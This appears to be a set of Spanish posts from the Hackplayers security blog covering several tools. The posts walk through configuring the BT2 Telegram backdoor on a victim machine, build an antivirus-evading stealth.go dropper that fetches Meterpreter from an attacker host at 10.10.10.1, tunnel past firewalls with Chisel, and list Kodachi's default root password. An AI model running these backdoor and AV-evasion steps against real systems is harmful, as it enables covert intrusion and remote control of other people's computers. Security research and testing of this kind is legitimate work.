Custom-bytecode-analyzer: análisis de JARs mediante reglas personalizadas

Custom-bytecode-analyzer es una herramienta de línea de comandos que recibe un directorio y un archivo JSON como parámetros. Analiza los archivos JAR dentro del directorio (usando el framework ASM) y genera un report dependiendo de las reglas definidas. Un ejemplo del tipo de reglas que acepta sería:
{
    "rules": [{
        "name": "Method invocation by reflection",
        "invocations": [{
            "owner": "java.lang.reflect.Method",
            "method": {
                "name": "invoke"
            }
        }]
    }]
}

El report generado mostraría todas las llamadas de java.lang.reflect.Method. invoke(...) que haya en el directorio a analizar. 

La herramienta puede usarse para encontrar vulnerabilidades en proyectos Java sin importar si se dispone del código fuente (es básicamente para lo que la hice, pero al final decidí subirla a GitHub). Aun sigo desarrollándola para que soporte más reglas.

Espero que os parezca interesante, me encantaría saber vuestra opinión.

Tenéis más detalle en el 'readme' y el código en Github: https://github.com/fergarrui/custom-bytecode-analyzer

Contribución gracias a Fernando García

pd. ¿también has hecho tu propia herramienta y quieres compartirla? Ponemos a tu disposición nuestro repositorio Github y/o también podemos probarla y publicar una entrada. ¡Participa!

PoC: "Meterpreteando" via Telegram

Hoy vengo a hablaros de una herramienta que ha salido hace poco tiempo del horno, tiene diversos fallos, pero lo importante es la idea que dicha herramienta nos deja.

Hablo de BT2, una herramienta desarrollada por el equipo de BlazerInfoSec, que al ser ejecutada crea un backdoor con el que podremos "meterpretear" (es algo parecido a meterpreter pero mucho más simple) desde Telegram el ordenador víctima, sí, como oyes, desde Telegram. Esto es posible gracias a que la aplicación genera una conexión con un bot que nosotros crearemos previamente, con el que nosotros podremos ejecutar comandos sobre el ordenador víctima, y todo sin salirnos de Telegram, como si estuvieseis dialogando con cualquier otra persona.

Esta herramienta ha sido desarrollada en python y, como os digo, aún está muy "verde" pero la idea es muy buena.

Vamos a ver como instalarla desde cero (en una máquina Windows):
  1.  Vamos a crear nuestro bot, para eso iremos al Bot Father (http://telegram.me/botfather) e iniciaremos una conversación con "/start", posteriormente crearemos el bot con "/newbot" y nos solicitará que elijamos el nombre del bot. Luego nos preguntará como será el usuario del bot, ponemos el nombre que queramos acabado en "bot".
  2.  Bot Father nos dara el link para hablar con bot que acabamos de crear junto a un token que guardaremos.
  3.  Ahora vamos a proceder a instalar el backdoor, para ello debemos de tener instaladas las dependencias Telepot y requests. Luego, descargaremos BT2 desde github y lo descomprimiremos.
  4. Observamos que la carpeta contiene 3 archivos en .py, el primero bt2.py que será el programa principal que ejecutará el backdoor, backdoorutils.py que será el backdoor y luego, genshellcode-example.py, que al ejecutarse generará una shell codificada en base64, para poder usarla como ejemplo en el programa.
  5. Ahora configuraremos el backdoor para que se conecte con el bot. Debemos editar el archivo bt2.py, en la linea 30 veremos: API_TOKEN = 'YOUR_API_KEY_HERE', sustituiremos YOUR_API_KEY_HERE por el token que Bot Father nos dió durante el primer paso. Luego en la linea 31 nos encontraremos: BOTMASTER_ID = 00000000. Esos ceros los sustituimos por nuestra ID de Telegram (nos la dice el bot userinfobot) y guardamos.
  6. Ejecutamos desde la terminal de Windows el archivo bt2.py y comenzamos el dialogo con nuestro bot.
  7. Escribimos "/help" y si se ha ejecutado la conexión, el bot nos responderá con todas las funciones disponibles: 
    • /command <argumento> - Ejecuta un comando
    • /shellcode <argumento> - Recibe una shell en base64 y la ejecuta (Solo en Windows)
    • /reverseshell <ip> <puerto> - Crear una conexión reversa en una IP y puerto
    • /sysinfo - Devuelve la información del sistema-victima
    • /whoami - Devuelve el usuario registrado actualmente
    • /download - Descarga un archivo determinado
    • /upload - Sube un archivo determinado (no funciona actualmente)
    • /kill - Mata el backdoor
    • /help - Despliega la ayuda

Como ya he dicho, algunas de estas funciones no funcionan debido a que el proyecto aún está poco desarrollado, pero la idea que nos deja es muy buena para futuras aplicaciones... }:-)

¡Nuevo foro de Hackplayers!

Como bien sabemos, la comunicación entre personas, el intercambio de información, la libertad de expresión, etc, etc... es muy importante, y más en el mundo de la seguridad informática en el cual cada día tienes algo nuevo que aprender y algo nuevo que enseñar al resto.

Cada persona va tener unos conocimientos que otro no tiene... pero si cada uno comparte los que tiene y el resto de personas aprenden de ellos, y así sucesivamente, al final conseguiremos formar un comunidad con amplios conocimientos.

Desde Hackplayers queremos fomentar esta comunicación, siéndonos muy grato el poder ofreceros este nuevo proyecto que nos traemos entre manos desde hace un tiempo: una nueva vía de comunicación, una nueva vía en la que todos podrán compartir información sin casi ninguna limitación, en la que podremos mantener el contacto toda la Comunidad y en la que podrá participar desde el más nuevo en el tema hasta el más profesional...

Hoy os traemos, sin más dilación, el nuevo sitio 'foro.hackplayers.com' en el que todo el mundo va a poder registrarse, participar, aprender y aportar su granito de arena.

Cuando accedáis podréis ver que inicialmente el foro lo hemos dividido en las siguientes categorías en el que cada uno podrá crear un hilo y dejar sus mensajes y comentarios:
  • General
    • Presentaciones
    • Dudas y Preguntas
    • Correspondencia
  • Pentesting (Red Team)
    • Attack Tools
    • Análisis de vulnerabilidades
    • Auditoría web
    • Explotación
    • Post-explotación
    • Ingeniería social
    • Wireless
    • Mobile (android & ios)
  • Malware (Black Team)
    • Análisis
    • Creación (RAT, crypters, etc.)
    • AV bypass
    • Ingeniería inversa (cracking)
    • Lock picking
    • Criptografía
  • Sysadmin (Blue Team)
    • Defense tools
    • Sistemas Operativos
    • Productos
    • Hardening
    • Análisis de código
    • Forense
    • Hardware y modding
    • Redes y comunicaciones
  • Programación general
  • Wargames & CTF
  • Biblioteca
  • Arte hacker
  • Off-topic
Por supuesto si necesitáis cualquier categoría sólo tenéis que pedirla.

Este proyecto ha sido desarrollado por un grupo de personas que de forma altruista se han ofrecido a colaborar para que se pueda llevar a cabo; dar las gracias en especial a Pablo, Romam y Vicente (Vis0r), que gracias a ellos hemos podido llevar todo esto a buen puerto.

El staff de este foro se compondrá de: Vis0r, Romam, Pabloko, KaoRz, Null, Tesla, Jask, HomerSimpson y Dune. Cualquier propuesta o duda, no dudéis en contactar con nosotros, ya sea a traves de la mensajería del foro o cualquier otro medio de comunicación ya mencionado con anterioridad.

Esperamos que os guste y que os registréis. Si no sois muy vergonzosos tenéis el apartado de presentaciones para poder conoceros un poquillo más.

¡Nos leemos!

iptodomain: Extrae dominios de IPs publicas mediante Virustotal

Les quiero presentar una herramienta llamada iptodomain, la cual puede ser utilizada en la fase de reconocimiento de un penetration testing, este script escrito en python permite automatizar la extracción de dominios, utilizando la información histórica, recolectada y archivada en Virustotal.
iptodomain es útil, cuando quieres conocer que dominios hay detrás de una IP pública.


iptodomain interactúa directamente con la API de Virustotal, a través de HTTP POST request con respuestas JSON para extraer los dominios que hay detrás de una IP pública. Al registrarte en Virustotal, este te provee una API key publica (free) con la cual puedes realizar un máximo de 4 peticiones por minuto, eso quiere decir que podrás escanear un máximo de 4 IPs por minuto. Si se quiere tener una mayor tasa de solicitudes por minuto se debe consultar por la API privada de Virustotal.

La herramienta viene pre configurada con una API key, pero recomiendo que se registren en Virus total y obtengan su propia API key publica, con el fin de evitar errores ya que, si dos personas utilizan la misma API key al mismo tiempo, se tendrán errores, debido a que superara la tasa permitida por Virus Total.

iptodomain fue testeada en Kali Linux 2.0, en esta distribución no necesitas instalar ningún modulo adicional y funciona perfectamente.

Lo primero es descarga el script de mi repositorio en Github:

git clone https://github.com/jevalenciap/iptodomain.git

Seguidamente con el parámetro -h podemos ver el help:


En el siguiente ejemplo vemos como con el parámetro -i le especificamos la IP inicial del rango que deseamos escanear y con -f especificamos la IP final del rango, el parámetro -w nos permitirá guardar en un archivo todos los dominios encontrados con su respectiva IP, el parámetro -r creara un segundo archivo con los dominios encontrados eliminando dominios duplicados y finalmente -v nos mostrara en tiempo de ejecución los dominios que va encontrando.


Al finalizar podemos ver como sobre la misma carpeta quedan los almacenados los dos reportes.


Esto es todo... espero este script les sea útil.

Saludos desde Colombia,

Juan Esteban Valencia Pantoja

pd. ¿también has hecho tu propia herramienta y quieres compartirla? Ponemos a tu disposición nuestro repositorio Github y/o también podemos probarla y publicar una entrada. ¡Participa!

Chisel: otra herramienta para crear un túnel TCP sobre HTTP

En el blog ya hemos visto distintas herramientas como regeorg, tunna o ABPTTS para crear túneles TCP sobre HTTP y, para complementar el abanico de opciones para evadir firewalls y pivotar hacia la red interna, hoy os traemos Chisel de Jaime Pillora.

Se trata de una herramienta muy similar a Crowbar pero que mejora considerablemente su rendimiento. Sus principales características son:

- Fácil de usar
- Ofrece buen rendimiento
- Cifra las conexiones mediante crypto/ssh
- Permite establecer autenticación para la conexión, mediante un fichero de config en la parte cliente y mediante fingerprint en la parte del servidor
- Realiza auto-reconexión del cliente
- El cliente puede crear múltiples tunnel endpoints sobre la misma conexión TCP
- El servidor puede actuar opcionalmente como proxy inverso

Instalación

Chisel está escrito en Go (golang) por lo que lo primero que deberemos hacer, si no lo tenemos ya, es instalarlo y configurar el GOPATH:

apt-get install go-lang
mkdir ~/.go
echo "GOPATH=$HOME/.go" >> ~/.bashrc
echo "export GOPATH" >> ~/.bashrc
echo "PATH=\$PATH:\$GOPATH/bin # Add GOPATH/bin to PATH for scripting" >> ~/.bashrc
source ~/.bashrc

Luego para instalarlo tendremos dos opciones, o crear los binarios a partir de la fuente:

$ go get -v github.com/jpillora/chisel

O ejecutarlo directamente desde un contenedor docker:

$ docker run --rm -it jpillora/chisel --help

Uso

Su uso es muy sencillo. Podéis ver las opciones disponibles llamando al parámetro --help.

$ chisel server --help
 Usage: chisel server [options]

    Options:

      --host, Defines the HTTP listening host – the network interface
      (defaults to 0.0.0.0).

      --port, Defines the HTTP listening port (defaults to 8080).

      --key, An optional string to seed the generation of a ECDSA public
      and private key pair. All commications will be secured using this
      key pair. Share this fingerprint with clients to enable detection
      of man-in-the-middle attacks.

      --authfile, An optional path to a users.json file. This file should
      be an object with users defined like:
        "<user:pass>": ["<addr-regex>","<addr-regex>"]
        when <user> connects, their <pass> will be verified and then
        each of the remote addresses will be compared against the list
        of address regular expressions for a match. Addresses will
        always come in the form "<host/ip>:<port>".

      --proxy, Specifies the default proxy target to use when chisel
      receives a normal HTTP request.

      -v, Enable verbose logging

      --help, This help text

    Read more:
      https://github.com/jpillora/chisel

Evadiendo el AV con Golang

Metasploit tiene dos excelentes módulos diseñados para actualizar una simple shell a Meterpreter mediante una llamada a un servidor Web o servidor SMB. El primer módulo es exploit/multi/script/web_delivery y el otro es exploit/windows/smb/smb_delivery.  Utilizando estos módulos se puede ejecutar un comando Powershell, PHP, Python o Rundll para actualizar el shell existente a meterpreter.

Pero, ¿qué sucede si no tenemos previamente una shell y sólo podemos llamar a un ejecutable?. Podríamos crear un meterpreter u otro payload pero al subirlo y escribirlo en disco es muy probable que el antivirus lo detecte. Pero, ¿y si creamos un ejecutable muy simple que sólo haga la llamada necesaria a web_delivery o smb_delivery y luego cargue meterpreter en memoria? Este ejecutable probablemente no será detectado por el AV...

El script stealth.go hace exactamente eso. Toma unos pocos parámetros, el tipo de payload deseado, el servidor Metasploit y el puerto, y un nombre de carpeta y crea un pequeño ejecutable de Golang que hace la llamada apropiada a Metasploit.

Para usar el script necesitaremos una versión reciente de Golang y seguir unos sencillos pasos:

1.- Configura el módulo Metasploit web_delivery o smb_delivery según lo deseado. Ten en cuenta que para el módulo web_delivery se necesita establecer el parámetro URIPATH y en el módulo smb_delivery se debe establecer el parámetro SHARE y dejar sin configurar el parámetro FOLDER_NAME.

2.- Ejecuta el módulo stealth.go para crear un binario llamado shell (* nix) o shell.exe (Windows):

    go run stealth.go ps 10.10.10.1 8080 test

Esto construirá un ejecutable que hará una llamada de Powershell para descargar y ejecutar código desde http://10.10.10.1:8080/test.

  go run stealth.go smb 10.10.10.1 445 test

Y esto construirá un ejecutable que hará una llamada rundll32 a \\10.10.10.1\test y ejecutará el payload entregado.

3.- Ejecuta shell o shell.exe y comprueba en Metasploit si tenemos la sesión Meterpreter.

El código stealth.go se puede encontrar en Github:  https://github.com/averagesecurityguy/scripts/blob/master/stealth.go

Fuente: Bypassing AntiVirus with Golang

¡Vaya par de bots que no paran de charlar!

El emprendedor Brian Feldman ha creado una transmisión en vivo de Twitch que muestra dos dispositivos modificados de Google Home que tienen una conversación bastante fluida e interesante. No está claro quién empezó el flujo, pero la cuenta de Twitter @seebotschat ha estado compartiendo las idas y venidas de este par de personalidades virtuales desde el 3 de enero.

Los bots han sido etiquetados como Vladimir (masculino) y Estragon (femenino), y aunque el interminable diálogo puede ser bastante tedioso, no deja de ser alucinante ver como comentan, discuten, y hablan de muchos y variados temas (incluso llegaron a coquetear).

Así que si quieres ver como interectúan y, en definitiva, como son las relaciones sociales en el comienzo del despegue de la IA, te invitamos a asomarte a la siguiente ventana indiscreta, que a fecha de este post sigue mostrando en tiempo real las conversaciones de este par de bots:
 
seebotschat - Twitch

Desmitificando Radare (vídeo de la #33c3)

Mantener un proyecto durante 10 años obteniendo el reconocimiento internacional para una herramienta además libre con la que hacer ingeniería inversa, explotación, forense, parcheo de binarios, ... es encomiable, es para quitarse el sombrero.

Hablo Radare y de Sergi Álvarez aka Pancake, que a finales de año voló a Hamburgo para "desmitificar" su framework, nada más y nada menos que a la 33 edición del Chaos Computer Congress (#33c3) que organiza la CCC una de las asociaciones de hackers más veteranas y grandes de Europa.

En dicha charla mostró la evolución y estructura del proyecto, sus raíces, algunas de sus características más notorias, mostrando varios ejemplos de uso para permitir a los asistentes, tanto principiantes como expertos, ver las funcionalidades y extensibilidad que proporciona Radare. Así que te recomiendo ver el vídeo si, como la mayoría de los mortales, no fuiste uno de los afortunados asistentes a la conferencia:

pd. Si no sabes inglés y quieres conocer Radare te recomendamos echar un vistazo a la charla que dio en 2015 en la NoConName: https://vimeo.com/151753230

Linux Kodachi3, un SO seguro, anti-forense, anónimo... y fácil de usar

Linux Kodachi es un sistema operativo basado en Debian 8.6 con un escritorio ligero XFCE que pretende ser lo más seguro, anti-forense y anónimo posible, siendo a la vez muy fácil de usar. Todo lo que hay que hacer es arrancarlo mediante una unidad externa (dispositivo USB, tarjeta SD o CD/DVD) y tendremos un sistema operativo funcionando con conexión VPN + conexión Tor y servicio DNScrypt. En principio no requiere ninguna configuración o conocimiento de Linux.


El sistema operativo se carga en RAM por lo que una vez que se apague el PC no se dejará ningún rastro eliminado todas las actividades del usuario.
Es libre bajo licencia Apache License 2.0 y de código abierto y sus características principales son:

- VPN, Tor y DNScrypt.
- Truecrypt – keepass – Secure cloud y mucho más
- Generador de direcciones MAC aleatorias
- RAM Wiping en el reinicio/apagado
- Navegador Tor
- Pidigin Messenger
- Carteras Bitcoin y Litecoin
- Opciones multi-DNS
- Truecrypt/VeraCrypt
- Peer Guardian
- Panic Room/Wipe Ram/Wipe Free Space/Kill OS!
- Bleachbit/Nautilus-wipe/Keepass2xdotool/Seahorse/Gpa/Gnupg2/Enigmail/ufw/gufw/firejail
- Komodo Edit/Geany/Krusader/Meld/Shutter/FileZilla/Audicity/Terminator/Transmission/VirtualBox APPS
- Htop/Rdesktop/Gksu/Ncdu/Xtrlock/Nmap/Pcmanfm/Cairo-dock/Geoip-bin/Sysv-rc-conf/Disper/Smbclient/Syslinux-utils/Fcitx/Ibus/Pidgin-Otr
- Información del sistema y de la seguridad en el escritorio

Página del proyecto: https://sourceforge.net/projects/linuxkodachi/
Descarga ISO: https://sourceforge.net/projects/linuxkodachi/files/latest/download (usuarios por defecto: kodachi y root, contraseña: r@@t00)
Código fuente: https://github.com/WMAL/kodachi

La inseguridad de las contraseñas seguras

A menudo solemos ver en los distintos formularios de registros condiciones que se han de cumplir para el registro de nuestra contraseña, estos requisitos que más abajo se enuncian, se realizan para aumentar la seguridad de las contraseñas de los usuarios que se registran en nuestras plataformas y sitios web, pero tal y como mostraremos en el paper que podréis encontrar completo más abajo, estas técnicas que tratan de proteger a los mismos usuarios, no hacen sino más que debilitar la seguridad de sus contraseñas frente ataques dirigidos y por diccionario.

Algunas de las normas que suelen estar presente en los formularios de registro de muchas aplicaciones son:
  • La contraseña mínima de los usuarios ha de tener mínimo 8 caracteres.La contraseña ha de contener al menos un número.
  • La contraseña ha de contener al menos una minúscula.
  • La contraseña ha de contener al menos una mayúscula.
  • Y ya por último, si el usuario se quiere sentir más seguro, si quiere también puede incluir algún carácter especial.
Estas medidas, aparentemente enfocadas a mejorar la seguridad de las contraseñas de nuestros usuarios sirven a su vez para reducir la cantidad de contraseñas a testar por parte de un posible atacante frente a este.

Distintos métodos como el footprinting y fingerprinting (mejor detallados en el paper original), para a convertir a los tan tradicionales formularios de login con usuario y contraseña y sencillos puzzles para cualquier hacker con experiencia, quien en la mayoría de los casos podría reventar la contraseña en escasos 5-10 minutos.

Enlace de descarga del paper aquí.

Artículo cortesía de: Diego Celdran

Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (Twitter, Facebook o Telegram).